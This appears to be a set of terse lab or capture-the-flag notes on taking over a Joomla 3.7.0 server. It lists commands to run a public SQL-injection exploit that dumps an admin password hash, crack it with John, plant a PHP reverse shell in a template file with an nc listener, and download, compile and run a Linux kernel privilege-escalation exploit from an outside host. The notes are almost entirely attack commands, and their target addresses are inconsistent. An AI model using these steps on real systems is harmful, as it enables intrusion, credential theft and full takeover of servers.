Joomscan –url http:// 10.255.254.73/

>search Joomla 3.7.0

set RHOST 10.255.254.73

ghttps://github.com/stefanlucas/Exploit-Joomla (download

python3 joomblah.py <http://10.255.254.73/index.php>

'admin', 'freddy@norealaddress.net', $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

Echo ‘$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu’ > hash

John hash

http://192.168.1.69/administrator/index.php

username: admin

Password :snoopy

Login administrator

Go to templates then templates then protostar

Edit error.php or index.php

past php in error.php for reverse shell

nc –lvnp 1337

192.168.1.213/templates/protostar/error.php or 192.168.1.213/index.php

find exploit by kernel

linux 4.4.x

Cd /tmp ( any user can perform in this directory)

Wget <https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip> (from the dbexploit)

tar -xvf exploit.tar

cd ebpf\_mapfd\_doubleput\_exploit

./compile.sh

./doubleput